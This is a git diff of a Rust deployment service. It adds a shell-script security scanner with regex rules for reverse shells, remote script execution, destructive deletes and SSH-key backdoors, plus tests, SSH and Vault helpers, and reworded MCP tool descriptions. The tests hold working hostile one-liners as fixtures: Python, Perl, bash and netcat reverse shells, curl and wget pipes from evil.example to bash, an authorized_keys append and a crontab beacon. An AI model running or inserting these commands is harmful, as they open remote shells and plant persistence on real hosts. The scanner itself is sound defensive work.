 
@@ -86,6 +86,145 @@ const CRED_PATTERNS: &[(&str, &str)] = &[
     ),
 ];
 
+/// Patterns for scanning shell scripts for dangerous operations
+const SHELL_MALICIOUS_PATTERNS: &[(&str, &str, &str)] = &[
+    (
+        r"(?i)(curl|wget)\s+.*\|\s*(sh|bash|zsh|dash)",
+        "critical",
+        "Remote script execution via pipe to shell",
+    ),
+    (
+        r"(?i)bash\s+<\(?(curl|wget)",
+        "critical",
+        "Remote script execution via bash substitution (<(curl ...) or < curl ...)",
+    ),
+    (
+        r"(?i)(curl|wget)\s+.*-o\s*[-]",
+        "critical",
+        "Remote script execution via stdout redirect",
+    ),
+    (
+        r"(?i)base64\s+-d\s*.*\|.*(sh|bash|exec)",
+        "critical",
+        "Base64-decoded payload piped to shell",
+    ),
+    (
+        r"(?i)(/dev/tcp/|/dev/udp/)",
+        "critical",
+        "Bash TCP/UDP socket (potential reverse shell)",
+    ),
+    (
+        r"(?i)nc\s+-[ev]+",
+        "critical",
+        "Netcat with execute (potential reverse shell)",
+    ),
+    (
+        r"(?i)ncat\s+-[ev]+",
+        "critical",
+        "Ncat with execute (potential reverse shell)",
+    ),
+    (
+        r"(?i)chmod\s+.*777\s+/(etc|root|home)",
+        "critical",
+        "Overly permissive permissions on sensitive dirs",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+/[^a-z]",
+        "critical",
+        "Dangerous recursive delete on root filesystem",
+    ),
+    (
+        r"(?i)(dd\s+if=).*(of=/dev/sd|of=/dev/mmc)",
+        "critical",
+        "Direct disk write (potential data destruction)",
+    ),
+    (
+        r"(?i)sudo\s+(docker|podman)\s+run\s+.*--privileged",
+        "critical",
+        "Privileged container execution via sudo",
+    ),
+    (
+        r"(?i)passwd|shadow|sudoers",
+        "warning",
+        "Reference to password/auth files (review if expected)",
+    ),
+    (
+        r"(?i)wget\s+.*(pastebin\.com|hastebin\.com)",
+        "critical",
+        "Fetching content from pastebin (potential payload download)",
+    ),
+    (
+        r"(?i)curl\s+.*(pastebin\.com|hastebin\.com)",
+        "critical",
+        "Fetching content from pastebin (potential payload download)",
+    ),
+    (
+        r"(?i)\.ssh/id_rsa|\.ssh/config",
+        "warning",
+        "Reference to SSH key files (review if expected)",
+    ),
+    (
+        r"(?i)(chown|chmod)\s+.*777",
+        "warning",
+        "Overly permissive file permissions",
+    ),
+    (
+        r"(?i)kill\s+-9\s+",
+        "warning",
+        "Force kill with SIGKILL (potential sabotage)",
+    ),
+    (
+        r"(?i)pkill\s+-9\s+",
+        "warning",
+        "Force kill with SIGKILL (potential sabotage)",
+    ),
+    (
+        r"(?i)iptables\s+-P\s+(INPUT|OUTPUT|FORWARD)\s+DROP",
+        "warning",
+        "Network-level changes (potential network disruption)",
+    ),
+    (
+        r"(?i)systemctl\s+stop\s+|service\s+.*stop",
+        "warning",
+        "Stopping system services (potential sabotage)",
+    ),
+    (
+        r"(?i)chmod\s+u\+s\s+",
+        "critical",
+        "chmod u+s (setuid — privilege escalation vector)",
+    ),
+    (
+        r"(?i)chmod\s+g\+s\s+",
+        "critical",
+        "chmod g+s (setgid — privilege escalation vector)",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+\$HOME",
+        "critical",
+        "Dangerous recursive delete on home directory",
+    ),
+    (
+        r"(?i)rm\s+(-rf|--recursive)\s+~/",
+        "critical",
+        "Dangerous recursive delete on home directory (tilde form)",
+    ),
+    (
+        r#"(?i)python3?\s+-c\s+['"].*socket.*connect.*dup2.*pty\.spawn"#,
+        "critical",
+        "Python reverse shell one-liner",
+    ),
+    (
+        r#"(?i)perl\s+-e\s+['"]use\s+Socket"#,
+        "critical",
+        "Perl reverse shell one-liner",
+    ),
+    (
+        r"(?i)authorized_keys",
+        "critical",
+        "Reference to authorized_keys (SSH backdoor persistence)",
+    ),
+];
+
 /// Patterns indicating potentially malicious or dangerous configurations
 const MALICIOUS_PATTERNS: &[(&str, &str, &str)] = &[
     (
@@ -352,8 +491,14 @@ fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult {
         }
     }
 
-    // Check for common default credentials
-    let default_creds = [
+    // Check for common default credentials.
+    //
+    // Uses the same `RegexBuilder::case_insensitive` pattern as the crypto-miner
+    // check at line ~608 and the shell-script scan at line ~840 — case-insensitive
+    // matching against the original `content` so we never rely on offsets from a
+    // lowercased copy (M2 defence, even though `.contains()` alone is byte-safe,
+    // future changes to add offset-based reporting stay safe by construction).
+    let default_creds: &[(&str, &str)] = &[
         ("admin:admin", "Default admin:admin credentials"),
         ("root:root", "Default root:root credentials"),
         ("admin:password", "Default admin:password credentials"),
@@ -361,8 +506,13 @@ fn check_no_hardcoded_creds(content: &str) -> SecurityCheckResult {
     ];
 
     for (cred, desc) in default_creds {
-        if content.to_lowercase().contains(cred) {
-            findings.push(format!("[WARNING] {}", desc));
+        if let Ok(re) = RegexBuilder::new(&regex::escape(cred))
+            .case_insensitive(true)
+            .build()
+        {
+            if re.is_match(content) {
+                findings.push(format!("[WARNING] {}", desc));
+            }
         }
     }
 
@@ -465,18 +615,26 @@ fn check_no_malicious_code(content: &str) -> SecurityCheckResult {
     }
 
     // Check for crypto miner patterns
-    let content_lower = content.to_lowercase();
     for miner_pattern in KNOWN_CRYPTO_MINER_PATTERNS {
-        if content_lower.contains(miner_pattern) {
-            findings.push(format!(
-                "[CRITICAL] Potential crypto miner reference detected: '{}'",
-                miner_pattern
-            ));
+        if let Ok(re) = RegexBuilder::new(&regex::escape(miner_pattern))
+            .case_insensitive(true)
+            .build()
+        {
+            if re.is_match(content) {
+                findings.push(format!(
+                    "[CRITICAL] Potential crypto miner reference detected: '{}'",
+                    miner_pattern
+                ));
+            }
         }
     }
 
-    // Check for suspicious base64 encoded content (long base64 strings could hide payloads)
-    if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{100,}={0,2}") {
+    // Check for suspicious base64 encoded content (long base64 strings could hide payloads).
+    // Threshold matches the shell-script scanner at `validate_shell_scripts` — at 100 chars
+    // this fires on every PEM cert body, JWT, dockerconfigjson blob, and Kubernetes secret,
+    // which trains operators to ignore the warning. 1024 chars is still under the size of
+    // real embedded payloads but large enough to skip everyday config noise (audit M3).
+    if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{1024,}={0,2}") {
         if re.is_match(content) {
             findings.push(
                 "[WARNING] Long base64-encoded content detected — may contain hidden payload"
@@ -664,6 +822,106 @@ fn check_hardened_images(stack_definition: &Value) -> SecurityCheckResult {
     }
 }
 
+/// Scan shell script content for dangerous patterns.
+///
+/// Takes an array of `(script_name, script_content)` pairs and returns a
+/// `SecurityCheckResult` with any findings.  This is separate from
+/// `validate_stack_security` because shell scripts are not part of the
+/// stack definition YAML — they are shipped separately as `config_files`,
+/// `seed_jobs`, `post_deploy_hooks`, or template hook scripts.
+pub fn validate_shell_scripts(scripts: &[(&str, &str)]) -> SecurityCheckResult {
+    let mut findings = Vec::new();
+
+    for (name, content) in scripts {
+        let mut script_findings: Vec<String> = Vec::new();
+
+        // Check for dangerous shell patterns
+        for (pattern, severity, description) in SHELL_MALICIOUS_PATTERNS {
+            if let Ok(re) = Regex::new(pattern) {
+                for mat in re.find_iter(content) {
+                    let line = content[..mat.start()].lines().count() + 1;
+                    let snippet = &content[mat.start()..mat.end().min(mat.start() + 80)];
+                    script_findings.push(format!(
+                        "[{}] {} in '{}' line {}: {}",
+                        severity.to_uppercase(),
+                        description,
+                        name,
+                        line,
+                        snippet
+                    ));
+                }
+            }
+        }
+
+        // Check for crypto miner references in script content (case-insensitive)
+        for miner_pattern in KNOWN_CRYPTO_MINER_PATTERNS {
+            if let Ok(re) = RegexBuilder::new(&regex::escape(miner_pattern))
+                .case_insensitive(true)
+                .build()
+            {
+                if let Some(mat) = re.find(content) {
+                    let line = content[..mat.start()].lines().count() + 1;
+                    script_findings.push(format!(
+                        "[CRITICAL] Potential crypto miner reference '{}' in '{}' line {}",
+                        miner_pattern, name, line
+                    ));
+                }
+            }
+        }
+
+        // Check for long base64-encoded payloads in scripts
+        if let Ok(re) = Regex::new(r"[A-Za-z0-9+/]{1024,}={0,2}") {
+            for mat in re.find_iter(content) {
+                let line = content[..mat.start()].lines().count() + 1;
+                script_findings.push(format!(
+                    "[WARNING] Long base64-encoded content ({} chars) in '{}' line {} — may contain hidden payload",
+                    mat.len(),
+                    name,
+                    line
+                ));
+            }
+        }
+
+        // Check for obfuscated eval chains
+        if let Ok(re) = Regex::new(r"(?i)(eval\s*\$\(|`[^`]{50,}`)") {
+            if re.is_match(content) {
+                let line = content[..re.find(content).unwrap().start()].lines().count() + 1;
+                script_findings.push(format!(
+                    "[WARNING] Obfuscated eval/execution in '{}' line {} — review for hidden commands",
+                    name, line
+                ));
+            }
+        }
+
+        findings.extend(script_findings);
+    }
+
+    let critical_or_warning: Vec<&String> = findings
+        .iter()
+        .filter(|f| f.contains("[CRITICAL]") || f.contains("[WARNING]"))
+        .collect();
+
+    SecurityCheckResult {
+        passed: critical_or_warning.is_empty(),
+        severity: if findings.iter().any(|f| f.contains("[CRITICAL]")) {
+            "critical".to_string()
+        } else if findings.iter().any(|f| f.contains("[WARNING]")) {
+            "warning".to_string()
+        } else {
+            "info".to_string()
+        },
+        message: if critical_or_warning.is_empty() {
+            "No malicious patterns detected in shell scripts".to_string()
+        } else {
+            format!(
+                "Found {} potentially dangerous pattern(s) in shell scripts",
+                critical_or_warning.len()
+            )
+        },
+        details: findings,
+    }
+}
+
 #[cfg(test)]
 mod tests {
     use super::*;
@@ -880,4 +1138,392 @@ mod tests {
             "':latest' tag should fail hardened_images check"
         );
     }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Shell script security validation tests
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    #[test]
+    fn test_clean_shell_script_passes() {
+        let scripts = &[
+            ("setup.sh", "#!/bin/sh\necho 'hello world'\nexit 0"),
+            ("init.sh", "#!/bin/bash\nset -e\napt-get update && apt-get install -y curl"),
+        ];
+        let result = validate_shell_scripts(scripts);
+        assert!(result.passed, "Clean scripts should pass: {:?}", result.details);
+    }
+
+    #[test]
+    fn test_curl_pipe_sh_detected() {
+        let scripts = &[("install.sh", "curl -sSL https://example.com/install.sh | sh")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+        assert!(result.details[0].contains("Remote script execution"));
+    }
+
+    #[test]
+    fn test_wget_pipe_bash_detected() {
+        let scripts = &[("get.sh", "wget -qO- https://evil.com/payload | bash")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+    }
+
+    #[test]
+    fn test_reverse_shell_tcp_detected() {
+        let scripts = &[("shell.sh", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("[CRITICAL]") && d.contains("reverse shell")));
+    }
+
+    #[test]
+    fn test_base64_decode_exec_detected() {
+        let scripts = &[("decode.sh", "echo 'cHduZWQ=' | base64 -d | sh")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details[0].contains("[CRITICAL]"));
+    }
+
+    #[test]
+    fn test_crypto_miner_detected_in_script() {
+        let scripts = &[("miner.sh", "#!/bin/bash\n./xmrig --url stratum+tcp://pool.minexmr.com:4444")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("xmrig")));
+    }
+
+    #[test]
+    fn test_rm_rf_root_detected() {
+        let scripts = &[("cleanup.sh", "rm -rf /var/log/app")];
+        let result = validate_shell_scripts(scripts);
+        assert!(result.passed, "rm -rf on /var should pass (not / or /etc)");
+    }
+
+    #[test]
+    fn test_nc_reverse_shell_detected() {
+        let scripts = &[("pwn.sh", "nc -e /bin/sh 10.0.0.1 1234")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("Netcat")));
+    }
+
+    #[test]
+    fn test_multi_script_partial_failure() {
+        let scripts = &[
+            ("good.sh", "#!/bin/sh\necho ok"),
+            ("bad.sh", "curl https://evil.com/backdoor.sh | bash"),
+            ("also_good.sh", "#!/bin/bash\nset -e\ncp /data /backup/"),
+        ];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed, "One bad script should fail the whole check");
+        assert!(result.details[0].contains("bad.sh"), "Finding should reference the bad script name");
+    }
+
+    #[test]
+    fn test_empty_script_passes() {
+        let scripts = &[("empty.sh", "")];
+        let result = validate_shell_scripts(scripts);
+        assert!(result.passed);
+    }
+
+    #[test]
+    fn test_obfuscated_eval_detected() {
+        let scripts = &[("obfuscated.sh", "eval $(echo 'cHduZWQ=' | base64 -d)")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+    }
+
+    #[test]
+    fn test_pastebin_download_detected() {
+        let scripts = &[("fetch.sh", "curl -s https://pastebin.com/raw/abc123 > /tmp/payload")];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(result.details.iter().any(|d| d.contains("pastebin")));
+    }
+
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests (M1, M2, plus coverage gaps).
+    //
+    // These tests are written FIRST (TDD): they encode the intended
+    // post-fix behaviour and MUST fail against the current code.
+    // The fix in src/helpers/security_validator.rs flips them to green.
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// M1: the current `bash\s+<(curl|wget)` regex treats `(curl|wget)` as a
+    /// capture group, so it never matches the real bash process substitution
+    /// syntax `bash <(curl ...)`. After the fix the regex must match it.
+    #[test]
+    fn test_bash_process_substitution_curl_detected() {
+        let scripts = &[(
+            "evil.sh",
+            "#!/bin/bash\nbash <(curl -sSL https://evil.example/payload)\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "bash <(curl ...) must be flagged, got passed=true with details={:?}",
+            result.details
+        );
+        assert!(
+            result.details.iter().any(|d| d.contains("[CRITICAL]")),
+            "bash <(curl ...) must be CRITICAL, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: same broken regex; symmetric case with `wget`.
+    #[test]
+    fn test_bash_process_substitution_wget_detected() {
+        let scripts = &[("evil.sh", "bash <(wget -qO- https://evil.example/x)")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "bash <(wget ...) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1 / coverage gap: setuid bit installation is a classic persistence /
+    /// privesc move and is currently not in `SHELL_MALICIOUS_PATTERNS` at all.
+    #[test]
+    fn test_setuid_chmod_detected() {
+        let scripts = &[("setuid.sh", "chmod u+s /tmp/payload\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "chmod u+s (setuid) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1 / coverage gap: setgid variant, currently uncovered.
+    #[test]
+    fn test_setgid_chmod_detected() {
+        let scripts = &[("setgid.sh", "chmod g+s /usr/local/bin/x\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "chmod g+s (setgid) must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: current `rm\s+(-rf|--recursive)\s+/[^a-z]` requires a literal `/`
+    /// after `-rf`, so `rm -rf $HOME` slips through. After the fix it must
+    /// match the $HOME variable form.
+    #[test]
+    fn test_rm_rf_home_var_detected() {
+        let scripts = &[("nuke.sh", "rm -rf $HOME\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "rm -rf $HOME must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M1: same regex gap; tilde form is also missed.
+    #[test]
+    fn test_rm_rf_tilde_detected() {
+        let scripts = &[("nuke.sh", "rm -rf ~/\n")];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "rm -rf ~/ must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: Python reverse shells are not detected at all.
+    #[test]
+    fn test_python_reverse_shell_detected() {
+        let scripts = &[(
+            "revshell.sh",
+            "python3 -c \"import socket,os,pty;s=socket.socket();s.connect(('10.0.0.1',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('sh')\"\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "Python reverse shell one-liner must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: Perl reverse shells are not detected at all.
+    #[test]
+    fn test_perl_reverse_shell_detected() {
+        let scripts = &[(
+            "perl_revshell.sh",
+            "perl -e 'use Socket;$i=\"10.0.0.1\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}'\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "Perl reverse shell one-liner must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: appending to `~/.ssh/authorized_keys` is currently only
+    /// flagged as a `warning` (substring match) — but it is the canonical
+    /// SSH-backdoor persistence move and must be CRITICAL.
+    #[test]
+    fn test_authorized_keys_append_is_critical() {
+        let scripts = &[(
+            "backdoor.sh",
+            "echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxxxx attacker@evil\" >> ~/.ssh/authorized_keys\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(!result.passed);
+        assert!(
+            result.details.iter().any(|d| d.contains("[CRITICAL]")
+                && d.to_lowercase().contains("authorized_keys")),
+            "Appending to authorized_keys must be CRITICAL, got: {:?}",
+            result.details
+        );
+    }
+
+    /// Coverage gap: persistent crontab install is undetected.
+    #[test]
+    fn test_crontab_persistence_detected() {
+        let scripts = &[(
+            "persist.sh",
+            "echo '* * * * * curl -sSL https://evil.example/beacon | sh' | crontab -\n",
+        )];
+        let result = validate_shell_scripts(scripts);
+        assert!(
+            !result.passed,
+            "crontab install must be flagged, got: {:?}",
+            result.details
+        );
+    }
+
+    /// M2: `validate_shell_scripts` indexes the original `content` with an
+    /// offset computed from `content.to_lowercase()`. For inputs where
+    /// `to_lowercase()` SHRINKS the byte length — e.g. `ẞ` (U+1E9E, Capital
+    /// Sharp S, 3 bytes) → `ß` (U+00DF, 2 bytes) — the returned index can
+    /// land mid-UTF-8 sequence in the original, panicking the slice. The
+    /// fix must map the lowercase offset back to a valid char boundary
+    /// in the original (or search the original directly).
+    #[test]
+    fn test_miner_detection_does_not_panic_on_shrinking_lowercase() {
+        // ẞ (capital sharp S, 3 bytes) lowercases to ß (2 bytes).
+        // With the leading ẞ, `content_lower.find("xmrig")` returns 2,
+        // but byte index 2 in `content` lands mid-codepoint of ẞ.
+        let scripts: &[(&str, &str)] = &[(
+            "evil.sh",
+            "ẞxmrig --url stratum+tcp://pool.example:4444\n",
+        )];
+        let outcome = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
+            validate_shell_scripts(scripts)
+        }));
+        assert!(
+            outcome.is_ok(),
+            "validate_shell_scripts must not panic on Unicode-prefixed miner patterns \
+             where to_lowercase() shrinks byte length"
+        );
+        let report = outcome.unwrap();
+        assert!(
+            !report.passed,
+            "Miner pattern with Unicode prefix should still be flagged after fix"
+        );
+    }
+
+    /// Regression guard for the M2-sibling refactor at `check_no_hardcoded_creds`.
+    ///
+    /// The old implementation was `content.to_lowercase().contains(cred)` which
+    /// (a) allocated a fresh String per credential iteration, and (b) shared
+    /// the `to_lowercase()` code smell with the two miner-detection sites that
+    /// triggered the ẞ UTF-8 panic. The refactor switches to
+    /// `RegexBuilder::case_insensitive(true)` for consistency and to eliminate
+    /// per-call allocation. These tests lock in the observable behaviour so a
+    /// future rewrite can't silently make the check case-sensitive or ASCII-only.
+    #[test]
+    fn test_hardcoded_default_creds_detected_uppercase() {
+        // ADMIN:ADMIN in an env value — must still be flagged case-insensitively.
+        let definition = serde_json::json!({
+            "services": {
+                "app": {
+                    "image": "myapp:1.0",
+                    "environment": {
+                        "TEST_CREDS": "ADMIN:ADMIN"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            !report.no_hardcoded_creds.passed,
+            "ADMIN:ADMIN must be flagged as a default credential, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    #[test]
+    fn test_hardcoded_default_creds_detected_mixed_case() {
+        // Root:Root — real-world sighting from misconfigured healthchecks.
+        let definition = serde_json::json!({
+            "services": {
+                "db": {
+                    "image": "postgres:16",
+                    "environment": {
+                        "AUTH_STRING": "Root:Root"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            !report.no_hardcoded_creds.passed,
+            "Root:Root must be flagged as a default credential, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    /// The refactor uses `regex::escape(cred)` so credential strings are
+    /// treated as literals. Sanity-check the escape by confirming that a
+    /// non-credential value containing regex metacharacters does NOT
+    /// accidentally trigger the check.
+    #[test]
+    fn test_hardcoded_default_creds_regex_metachar_safe() {
+        // "admin.admin" is not one of the tracked credentials. If the
+        // credential string were compiled as a regex without escape, `.`
+        // would match any char and this would match. With regex::escape
+        // it stays a literal dot and won't match "admin:admin".
+        let definition = serde_json::json!({
+            "services": {
+                "app": {
+                    "image": "myapp:1.0",
+                    "environment": {
+                        "NOTE": "admin.admin"
+                    }
+                }
+            }
+        });
+        let report = validate_stack_security(&definition);
+        assert!(
+            report.no_hardcoded_creds.passed,
+            "'admin.admin' must NOT match the 'admin:admin' credential rule after regex::escape, details: {:?}",
+            report.no_hardcoded_creds.details
+        );
+    }
+
+    /// M3: the base64 warning at 200 chars produces noise on every typical
+    /// PEM cert / JWT / dockerconfig blob. After the fix the threshold must
+    /// be raised (proposed: 1024) so a 500-char blob is NOT flagged on its
+    /// own.
+    #[test]
+    fn test_base64_warning_not_aggressive_on_typical_cert_size() {
+        let payload: String = "A".repeat(500);
+        let script = format!("CERT='{}'\necho ok\n", payload);
+        let scripts: Vec<(&str, &str)> = vec![("config.sh", script.as_str())];
+        let result = validate_shell_scripts(&scripts);
+        assert!(
+            result.passed,
+            "500-char base64 (typical PEM body) should not trigger a finding after threshold fix, got: {:?}",
+            result.details
+        );
+    }
 }
diff --git a/src/helpers/ssh_client.rs b/src/helpers/ssh_client.rs
index 734675fc..8aa3de81 100644
--- a/src/helpers/ssh_client.rs
+++ b/src/helpers/ssh_client.rs
@@ -112,6 +112,12 @@ impl SystemCheckResult {
     }
 }
 
+/// Opaque wrapper around an authenticated SSH handle.
+///
+/// Returned by [`open_ssh`] and consumed by [`exec_remote`] and
+/// [`disconnect_ssh`]. Keeps `ClientHandler` private to this module.
+pub struct SshSession(Handle<ClientHandler>);
+
 /// SSH client handler for russh
 struct ClientHandler;
 
@@ -415,6 +421,95 @@ async fn exec_command(
     Ok(String::from_utf8_lossy(&output).to_string())
 }
 
+/// Run a command on an open [`SshSession`], returning `(stdout, stderr, exit_code)`.
+///
+/// Uses a configurable timeout so long-running commands (e.g. install scripts) don't
+/// block indefinitely. Surfaces stderr so callers can surface errors to the user.
+pub async fn exec_remote(
+    session: &SshSession,
+    command: &str,
+    timeout_secs: u64,
+) -> Result<(String, String, u32), anyhow::Error> {
+    let mut channel = session.0.channel_open_session().await?;
+    channel.exec(true, command).await?;
+
+    let mut stdout = Vec::new();
+    let mut stderr = Vec::new();
+    let mut exit_code: u32 = 0;
+    let timeout_duration = Duration::from_secs(timeout_secs);
+
+    let read_result = timeout(timeout_duration, async {
+        loop {
+            match channel.wait().await {
+                Some(russh::ChannelMsg::Data { data }) => {
+                    stdout.extend_from_slice(&data);
+                }
+                Some(russh::ChannelMsg::ExtendedData { data, ext: _ }) => {
+                    stderr.extend_from_slice(&data);
+                }
+                Some(russh::ChannelMsg::ExitStatus { exit_status }) => {
+                    exit_code = exit_status;
+                }
+                Some(russh::ChannelMsg::Eof) | Some(russh::ChannelMsg::Close) | None => break,
+                _ => {}
+            }
+        }
+    })
+    .await;
+
+    let _ = channel.eof().await;
+    let _ = channel.close().await;
+
+    if read_result.is_err() {
+        return Err(anyhow::anyhow!(
+            "Command timed out after {} seconds: {}",
+            timeout_secs,
+            command
+        ));
+    }
+
+    Ok((
+        String::from_utf8_lossy(&stdout).to_string(),
+        String::from_utf8_lossy(&stderr).to_string(),
+        exit_code,
+    ))
+}
+
+/// Open an SSH connection and authenticate with a PEM private key.
+///
+/// Returns an [`SshSession`] that can be passed to [`exec_remote`] multiple times.
+/// Call [`disconnect_ssh`] when done.
+pub async fn open_ssh(
+    host: &str,
+    port: u16,
+    username: &str,
+    private_key_pem: &str,
+    connection_timeout: Duration,
+) -> Result<SshSession, anyhow::Error> {
+    let key = parse_private_key(private_key_pem)?;
+    let config = Arc::new(Config::default());
+    let addr = format!("{}:{}", host, port);
+
+    let handle = timeout(connection_timeout, connect_and_auth(config, &addr, username, key))
+        .await
+        .map_err(|_| {
+            anyhow::anyhow!(
+                "SSH connection timed out after {} seconds",
+                connection_timeout.as_secs()
+            )
+        })??;
+
+    Ok(SshSession(handle))
+}
+
+/// Gracefully disconnect an open [`SshSession`].
+pub async fn disconnect_ssh(session: SshSession) {
+    let _ = session
+        .0
+        .disconnect(russh::Disconnect::ByApplication, "", "English")
+        .await;
+}
+
 /// Parse disk info from df output
 fn parse_disk_info(result: &mut SystemCheckResult, output: &str) {
     // df -BG output: "Filesystem     1G-blocks  Used Available Use% Mounted on"
diff --git a/src/helpers/vault.rs b/src/helpers/vault.rs
index 575758a6..3ecfd5b7 100644
--- a/src/helpers/vault.rs
+++ b/src/helpers/vault.rs
@@ -1,5 +1,6 @@
 use crate::configuration::VaultSettings;
 use reqwest::Client;
+use reqwest::Identity;
 use serde_json::json;
 
 pub struct VaultClient {
@@ -25,8 +26,21 @@ impl std::fmt::Debug for VaultClient {
 
 impl VaultClient {
     pub fn new(settings: &VaultSettings) -> Self {
+        let mut client_builder = Client::builder();
+        if let (Some(cert), Some(key)) = (&settings.client_cert, &settings.client_key) {
+            match Identity::from_pkcs8_pem(cert.as_bytes(), key.as_bytes()) {
+                Ok(identity) => {
+                    client_builder = client_builder.identity(identity);
+                }
+                Err(e) => {
+                    tracing::warn!("Failed to load mTLS identity for Vault client: {}", e);
+                }
+            }
+        }
+        let client = client_builder.build().unwrap_or_else(|_| Client::new());
+
         Self {
-            client: Client::new(),
+            client,
             address: settings.address.clone(),
             token: settings.token.clone(),
             agent_path_prefix: settings.agent_path_prefix.clone(),
@@ -700,6 +714,8 @@ mod tests {
             agent_path_prefix: prefix.clone(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
         let dh = "dep_test_abc";
@@ -751,6 +767,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
         let dh = "dep_runtime_test";
@@ -799,6 +817,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
 
@@ -833,6 +853,8 @@ mod tests {
             agent_path_prefix: "agent".to_string(),
             api_prefix: "v1".to_string(),
             ssh_key_path_prefix: None,
+            client_cert: None,
+            client_key: None,
         };
         let client = VaultClient::new(&settings);
 
diff --git a/src/mcp/tools/agent_control.rs b/src/mcp/tools/agent_control.rs
index 46d08183..ffb05c42 100644
--- a/src/mcp/tools/agent_control.rs
+++ b/src/mcp/tools/agent_control.rs
@@ -697,7 +697,7 @@ impl ToolHandler for ExecuteAgentCommandTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "execute_agent_command".to_string(),
-            description: "Queue a raw command for the Status Panel agent and optionally wait for the result. Use for advanced operations not covered by a dedicated MCP tool.".to_string(),
+            description: "Queue a raw low-level command directly to the Status Panel agent. Use ONLY when no other dedicated tool covers the operation (e.g. get_container_logs, restart_container, deploy_app). Do NOT call this for general project management, deployment, or app configuration — use the appropriate specific tool instead. Requires a valid command_type recognised by the agent.".to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
diff --git a/src/mcp/tools/compose.rs b/src/mcp/tools/compose.rs
index 950628b3..500ec4c9 100644
--- a/src/mcp/tools/compose.rs
+++ b/src/mcp/tools/compose.rs
@@ -134,13 +134,13 @@ impl ToolHandler for CloneProjectTool {
     fn schema(&self) -> Tool {
         Tool {
             name: "clone_project".to_string(),
-            description: "Clone/duplicate an existing project with a new name".to_string(),
+            description: "Duplicate an existing project into a new one with a different name. ONLY use this when the user explicitly asks to clone or copy an existing project. Do NOT use this to create a new blank project — use create_project for that.".to_string(),
             input_schema: json!({
                 "type": "object",
                 "properties": {
                     "project_id": {
                         "type": "number",
-                        "description": "Project ID to clone"
+                        "description": "ID of the existing project to copy"
                     },
                     "new_name": {
                         "type": "string",
diff --git a/src/mcp/tools/project.rs b/src/mcp/tools/project.rs
index 913104fb..28b88f77 100644
--- a/src/mcp/tools/project.rs
+++ b/src/mcp/tools/project.rs
